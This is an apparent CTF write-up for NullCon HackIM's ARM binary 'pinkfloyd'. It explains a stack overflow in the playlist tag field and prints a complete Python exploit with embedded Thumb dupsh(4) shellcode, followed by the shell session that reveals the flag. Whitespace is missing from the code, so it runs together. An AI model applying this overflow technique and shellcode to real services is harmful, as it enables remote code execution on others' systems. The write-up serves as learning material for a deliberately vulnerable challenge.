I participated in NullCon CTF with my team in this week. one of the challenge i solved was an arm binary pwnable.
12
hamidx9@expl:~/ctf/nullcon/expl100$ file pinkfloyd
pinkfloyd: ELF 32-bit LSB executable, ARM, EABI5 version 1(SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=62c86841d0c0384ce39d70fef5afe0eee5cad7b4, not stripped
pinkfloyd is an arm binary which provide saving playlist functionality. we can see two methods create, print. Analyzing cmd_do_create gives us the clue that it read from input 3 param, name, tag, # of songs. A little more reading the diseases shows if we use more that 84 chars in tag we overflow the stack. So we can abuse this method.
Also checksec shows us we have a very suitable case, we can execute our shellcode. For hijacking pc we should overwrite lr register so on returning from the call, we have full control. based on add_playlist function myplaylist on bss always has last playlist struct address. So we should change our pc to playlist struct address to run our shellcode which exists in playlist name. Also we should notice our sock fd is 4 so we need a dupsh(4) shellcode. Ok, too much talking, let’s do this.
#!/usr/bin/python# By HAMIDx9 :: GeeksSpeak :: ctf.nullcon.net HackIM :: Exploit 100importstructfromhexdumpimporthexdumpimportsocketimporttelnetlibq=lambdax:struct.pack("<I",x)#ret = q(0x0002605c) shellcode="01608fe216ff2fe14ff002014ff03f0708460d462846284401df0139fad504a082ea02024ff00b0705b4694601df01012f62696e2f736800".decode("hex")# Custom dupsh(4) thumb shellcode based on current execution# To see whats going on : # from pwn import *# context(arch="thumb", os="linux")# print asm(shellcode[4:]) # skip change to thumb mode arm shellcodehexdump(shellcode)s=socket.socket()s.connect(("52.72.171.221",9981))#s.connect(("localhost", 9981))s.recv(1024)s.send("create\n")# create a playlists.recv(1024)s.send(shellcode+"\n")# playlist names.recv(1024)#s.send("A"*100+"\n") # crashes in playlist tags.send("A"*80+"BBBB"+q(0x8C0CC)+"\n")# set lr to myplaylist to jump to it then,# after returning from cmd_do_create pop {lr, pc} pops heap address of playlist name in pc which has our dupsh(4) shellcodes.recv(1024)s.send("1"+"\n")# playlist tracks print“[+]Hereyougo”t=telnetlib.Telnet()t.sock=st.interact()# interact
And running the expl:
12345678910
KernelsCallMe:exp100 hamidx9$ python sol.py
00000000: 0160 8F E2 16 FF 2F E1 4F F0 0201 4F F0 3F 07 .`..../.O...O.?.
00000010: 0846 0D 462846284401 DF 0139 FA D5 04 A0 .F.F(F(D...9....
00000020: 82 EA 0202 4F F0 0B 0705 B4 694601 DF 0101 ....O.....iF....
00000030: 2F 6269 6E 2F 736800 /bin/sh.
[+] Here you go
cat *
cat: bin: Is a directory
cat: dev: Is a directory
flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7}
So the flag is flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7} and we have 100 pts.